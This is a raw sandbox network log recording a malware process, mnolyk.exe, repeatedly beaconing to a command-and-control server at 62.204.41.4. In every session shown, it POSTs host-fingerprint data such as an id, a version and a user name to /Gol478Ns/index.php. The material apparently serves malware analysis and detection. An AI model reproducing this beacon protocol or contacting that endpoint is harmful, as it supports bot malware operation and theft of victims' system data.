252	192.168.2.5	49942	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:57.083817959 CET	453	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:57.152782917 CET	453	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
253	192.168.2.5	49943	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:57.392401934 CET	454	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:57.457815886 CET	454	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
254	192.168.2.5	49944	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:57.633328915 CET	455	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:57.696747065 CET	455	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
255	192.168.2.5	49945	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:57.866705894 CET	456	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:57.932298899 CET	456	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
256	192.168.2.5	49946	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:58.119194984 CET	457	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:58.185362101 CET	457	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
257	192.168.2.5	49947	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:58.363275051 CET	458	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:58.427375078 CET	458	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
258	192.168.2.5	49948	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:58.606494904 CET	459	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:58.671230078 CET	459	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
259	192.168.2.5	49949	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:58.849591017 CET	460	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:58.914136887 CET	460	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	49716	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:36.096630096 CET	226	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:36.170519114 CET	227	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
260	192.168.2.5	49950	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:59.104526997 CET	461	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:59.169317961 CET	461	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
261	192.168.2.5	49951	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:59.351610899 CET	462	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:59.418251038 CET	462	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
262	192.168.2.5	49952	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:59.609623909 CET	463	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:59.671968937 CET	463	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
263	192.168.2.5	49953	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:59.850997925 CET	464	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:59.914640903 CET	464	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
264	192.168.2.5	49954	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:00.082619905 CET	465	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:00.146924019 CET	465	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
265	192.168.2.5	49955	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:00.317508936 CET	466	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:00.382448912 CET	466	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
266	192.168.2.5	49956	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:00.553096056 CET	467	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:00.618180990 CET	467	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
267	192.168.2.5	49957	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:00.788641930 CET	468	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:00.854032993 CET	468	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
268	192.168.2.5	49958	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:01.022167921 CET	469	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:01.087373018 CET	469	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
269	192.168.2.5	49959	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:01.254903078 CET	470	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:01.318948984 CET	470	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.5	49717	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:38.110724926 CET	227	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:38.180257082 CET	228	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
270	192.168.2.5	49960	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:01.488614082 CET	471	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:01.551234961 CET	471	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
271	192.168.2.5	49961	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:01.749516010 CET	472	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
